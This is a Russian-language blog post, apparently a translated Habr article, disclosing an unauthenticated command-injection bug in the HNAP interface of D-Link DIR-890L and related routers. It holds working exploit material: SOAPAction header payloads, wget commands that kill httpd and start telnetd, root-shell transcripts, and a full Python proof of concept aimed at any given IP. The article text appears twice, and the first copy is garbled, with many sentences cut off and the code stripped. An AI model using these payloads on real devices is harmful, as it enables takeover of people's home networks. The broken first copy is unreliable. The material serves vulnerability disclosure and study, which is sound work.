Последние 6 месяцев, я был жутко занят и не следил за новыми хренями от D-Link. Чтобы немного поразвлечься, я зашел на их сайт, и меня поприветствовал этот кошмар:
![Insane router](https://habrastorage.org/r/w1560/getpro/habr/post_images/fd0/d34/2e2/fd0d342e20917f5e6f2fd77125aa4a93.png)
Самый безумный роутер D-Link DIR-890L за $300
Пожалуй, самым «безумным» в роутере является то, что он работает под управлением все той же забагованной прошивки, которую D-Link ставит в свои роутеры вот уже несколько лет…and the hits just keep on coming.
Хорошо, давайте как обычно — возьмем последнюю версию прошивки, пройдемся по ней binwalk и посмотрим, что мы получили:
Похоже на обычную прошивку с Linux, а если вы заглядывали в любую прошивку D-Link за последние несколько лет, вы без труда вспомните структуру директорий:
Все, что относится к HTTP, UPnP и HNAP, расположено в директории htdocs. Самый интересный файл здесь — htdocs/cgibin — ELF-бинарник для ARM, который выполняется вебсервером для, хм, почти всего: все симлинки к CGI, UPnP и HNAP-ссылкам ведут на этот файл:
Он, конечно же, stripped, но в нем есть множество строк, которые будут нам в помощь. В первую очередь,
![staircase](https://habrastorage.org/r/w1560/getpro/habr/post_images/9a8/095/8f2/9a80958f245ce20d66a4bcf8b2812209.png)
Граф вызовов, типичный каскад if/else
Каждое сравнение производится вызовом strcmp на известные имена симлинков:
![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/a82/23f/ea5/a8223fea53fa45784451caa8690d5966.png)
Разные функции обработчиков разных симлинков
Чтобы упростить сопоставление функций-обработчиков и симлинков, переименуем их, согласно имени симлинка:
![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/344/9e3/6a6/3449e36a60c1d4bdf89191b5dc6ec318.png)
Переименованные функции-обработчики
Теперь, когда у нас есть имена функций, давайте начнем искать баги. Другие устройства от D-Link, работающие под управлением точно такой же прошивки, ранее были взломаны через HTTP и UPnP-интерфейсы, однако, HNAP-интерфейс, который обрабатывается функцией
HNAP (Home Network Administration Protocol) — протокол на основе SOAP, похожий на UPnP, который обычно используется утилитой для первоначальной настройки D-Link роутеров «EZ». В отличие от UPnP, все действия HNAP, кроме
Заголовок
Вследствие того, что
![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/1f5/fa5/9bd/1f5fa59bd2796b9934a4db825878c3a0.png)
SOAPAction = getenv(“HTTP_SOAPACTION”);
Ближе к концу
![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/fb5/c52/709/fb5c52709a4c51934e85403d0707c1ae.png)
sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);
Очевидно, что
В начале
![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/c1d/69c/9c2/c1d69c9c22d351a6366f7b3c9534a937.png)
if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)
Заметим, однако, что для проверки используется функция
Итак, если заголовок
![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/d9f/a32/5d3/d9fa325d397e7154ef0d2e723b23348c.png)
SOAPAction = strrchr(SOAPAction, ‘/’);
Имя действия (
Вот код на C, который демонстрирует ошибку в логике:
Итак, что мы из этого вынесли:
Мы с легкостью можем сформировать заголовок
Заменой
Мы можем отправлять HNAP-запросы из WAN, если было включено удаленное администрирование. Конечно, брандмауер блокирует все входящие соединения на telnet из WAN. Самое простое решение — убить HTTP-сервер и запустить telnetd на его порту:
Замечу, что wget будет висеть в ожидании ответа, т.к.
Я проверил этот баг на прошивках v1.00 и v1.03 (последняя на момент написания статьи), и они обе уязвимы. Но, как это обычно бывает с большинством уязвимостей в embedded, этот код попал и в прошивки других устройств.
Анализировать все прошивки довольно утомительно, поэтому я передал инфромацию о баге команде Centrifuge, у которых есть отличие утилиты для автоматического анализа подобных вещей. Centrifuge обнаружили эту уязвимость в следующих моделях:
Насколько я знаю, HNAP на этих устройствах никаким образом отключить нельзя.
UPDATE: Похоже, в начале года этот же баг нашел Samuel Huntly, но он был исправлен только для DIR-645. Патч достаточно хреновый, ждите его разбор в следующем посте.
![Insane router](https://habrastorage.org/getpro/habr/post_images/fd0/d34/2e2/fd0d342e20917f5e6f2fd77125aa4a93.png)
Самый безумный роутер D-Link DIR-890L за $300
Пожалуй, самым «безумным» в роутере является то, что он работает под управлением все той же забагованной прошивки, которую D-Link ставит в свои роутеры вот уже несколько лет…and the hits just keep on coming.
Хорошо, давайте как обычно — возьмем последнюю версию прошивки, пройдемся по ней binwalk и посмотрим, что мы получили:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
116 0x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
1835124 0x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0, compress
Похоже на обычную прошивку с Linux, а если вы заглядывали в любую прошивку D-Link за последние несколько лет, вы без труда вспомните структуру директорий:
$ ls squashfs-root
bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
Все, что относится к HTTP, UPnP и HNAP, расположено в директории htdocs. Самый интересный файл здесь — htdocs/cgibin — ELF-бинарник для ARM, который выполняется вебсервером для, хм, почти всего: все симлинки к CGI, UPnP и HNAP-ссылкам ведут на этот файл:
$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
Он, конечно же, stripped, но в нем есть множество строк, которые будут нам в помощь. В первую очередь,
main
сравнивает argv[0]
со списком известных ему имен симлинков (captcha.cgi
, conntrack.cgi
и т.д.) чтобы определить, какое действие выполнять:![staircase](https://habrastorage.org/getpro/habr/post_images/9a8/095/8f2/9a80958f245ce20d66a4bcf8b2812209.png)
Граф вызовов, типичный каскад if/else
Каждое сравнение производится вызовом strcmp на известные имена симлинков:
![image](https://habrastorage.org/getpro/habr/post_images/a82/23f/ea5/a8223fea53fa45784451caa8690d5966.png)
Разные функции обработчиков разных симлинков
Чтобы упростить сопоставление функций-обработчиков и симлинков, переименуем их, согласно имени симлинка:
![image](https://habrastorage.org/getpro/habr/post_images/344/9e3/6a6/3449e36a60c1d4bdf89191b5dc6ec318.png)
Переименованные функции-обработчики
Теперь, когда у нас есть имена функций, давайте начнем искать баги. Другие устройства от D-Link, работающие под управлением точно такой же прошивки, ранее были взломаны через HTTP и UPnP-интерфейсы, однако, HNAP-интерфейс, который обрабатывается функцией
hnap_main
в cgibin
, похоже, никто особо не смотрел.HNAP (Home Network Administration Protocol) — протокол на основе SOAP, похожий на UPnP, который обычно используется утилитой для первоначальной настройки D-Link роутеров «EZ». В отличие от UPnP, все действия HNAP, кроме
GetDeviceInfo
(который бесполезен), требуют HTTP Basic-аутентификацию.POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
<PortMappingDescription>foobar</PortMappingDescription>
<InternalClient>192.168.0.100</InternalClient>
<PortMappingProtocol>TCP</PortMappingProtocol>
<ExternalPort>1234</ExternalPort>
<InternalPort>1234</InternalPort>
</AddPortMapping>
</soap:Body>
</soap:Envelope>
Заголовок
SOAPAction
очень важен в HNAP-запросе, т.к. именно он задает, какое действие выполнит сервер (действие AddPortMapping
в примере выше).Вследствие того, что
cgibin
запускается как CGI-приложение веб-сервером, hnap_main
получает данные HNAP-запроса, например, заголовок SOAPAction
, через переменные окружения:![image](https://habrastorage.org/getpro/habr/post_images/1f5/fa5/9bd/1f5fa59bd2796b9934a4db825878c3a0.png)
SOAPAction = getenv(“HTTP_SOAPACTION”);
Ближе к концу
hnap_main
, вызовом sprintf
генерируется shell-команда, которая затем выполняется через system
:![image](https://habrastorage.org/getpro/habr/post_images/fb5/c52/709/fb5c52709a4c51934e85403d0707c1ae.png)
sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);
Очевидно, что
hnap_main
использует данные из заголовка SOAPAction
внутри команды system
! Этот баг подает надежды, особенно, если заголовок SOAPAction
не экранируется, и если мы сможем попасть в это место без аутентификации.В начале
hnap_main
проверяется, равен ли заголовок SOAPAction
строке purenetworks.com/HNAP1/GetDeviceSettings
, и если он равен, аутентификация пропускается. Это ожидаемо, мы уже подметили ранее, что GetDeviceSettings
не требует аутентификации:![image](https://habrastorage.org/getpro/habr/post_images/c1d/69c/9c2/c1d69c9c22d351a6366f7b3c9534a937.png)
if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)
Заметим, однако, что для проверки используется функция
strstr
, которая только проверяет наличие строки purenetworks.com/HNAP1/GetDeviceSettings
в заголовке SOAPAction
, а не равенство ей.Итак, если заголовок
SOAPAction
содержит подстроку purenetworks.com/HNAP1/GetDeviceSettings
, функция достает название действия (т.е. GetDeviceSettings
) из заголовка и убирает двойные кавычки:![image](https://habrastorage.org/getpro/habr/post_images/d9f/a32/5d3/d9fa325d397e7154ef0d2e723b23348c.png)
SOAPAction = strrchr(SOAPAction, ‘/’);
Имя действия (
GetDeviceSettings
) вычленяется из заголовка, затем попадает в system
, проходя sprintf
.Вот код на C, который демонстрирует ошибку в логике:
/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");
/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
/* do auth check */
}
/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
/* Point the SOAPAction pointer one byte beyond the last forward slash */
SOAPAction += 1;
/* Get rid of any trailing double quotes */
if(SOAPAction[strlen(SOAPAction)-1] == '"')
{
SOAPAction[strlen(SOAPAction)-1] = '\0';
}
}
else
{
goto failure_condition;
}
/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);
Итак, что мы из этого вынесли:
- Проверка аутентификации отсутствует, если в заголовке
SOAPAction
есть подстрокаpurenetworks.com/HNAP1/GetDeviceSettings
- В
sprintf
(иsystem
) передается все, что находится после последнего слеша в заголовкеSOAPAction
Мы с легкостью можем сформировать заголовок
SOAPAction
, который будет удовлетворять пропуску аутентификации и позволять нам передавать свою строку в system
:SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
purenetworks.com/HNAP1/GetDeviceSettings
в заголовке позволяет нам обойти аутентификацию, а строка `reboot`
будет передана в system
system("sh /var/run/`reboot`.sh > /dev/console");
Заменой
reboot
на telnetd
мы запустим telnet-сервер без аутентификации:$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
#
Мы можем отправлять HNAP-запросы из WAN, если было включено удаленное администрирование. Конечно, брандмауер блокирует все входящие соединения на telnet из WAN. Самое простое решение — убить HTTP-сервер и запустить telnetd на его порту:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
#
Замечу, что wget будет висеть в ожидании ответа, т.к.
cgibin
будет ожидать завершение telnetd. Вот маленький PoC на Python, который все делает чуточку удобней:#!/usr/bin/env python
import sys
import urllib2
import httplib
try:
ip_port = sys.argv[1].split(':')
ip = ip_port[0]
if len(ip_port) == 2:
port = ip_port[1]
elif len(ip_port) == 1:
port = "80"
else:
raise IndexError
except IndexError:
print "Usage: %s <target ip:port>" % sys.argv[0]
sys.exit(1)
url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
# any port; killing the http server and re-using its port
# is not necessary.
#
# Killing off all hung hnap processes ensures that we can
# re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
"SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
}
req = urllib2.Request(url, None, headers)
try:
urllib2.urlopen(req)
raise Exception("Unexpected response")
except httplib.BadStatusLine:
print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
sys.exit(0)
except Exception:
print "Received an unexpected response from the server; exploit probably failed. :("
Я проверил этот баг на прошивках v1.00 и v1.03 (последняя на момент написания статьи), и они обе уязвимы. Но, как это обычно бывает с большинством уязвимостей в embedded, этот код попал и в прошивки других устройств.
Анализировать все прошивки довольно утомительно, поэтому я передал инфромацию о баге команде Centrifuge, у которых есть отличие утилиты для автоматического анализа подобных вещей. Centrifuge обнаружили эту уязвимость в следующих моделях:
- DAP-1522 revB
- DAP-1650 revB
- DIR-880L
- DIR-865L
- DIR-860L revA
- DIR-860L revB
- DIR-815 revB
- DIR-300 revB
- DIR-600 revB
- DIR-645
- TEW-751DR
- TEW-733GR
Насколько я знаю, HNAP на этих устройствах никаким образом отключить нельзя.
UPDATE: Похоже, в начале года этот же баг нашел Samuel Huntly, но он был исправлен только для DIR-645. Патч достаточно хреновый, ждите его разбор в следующем посте.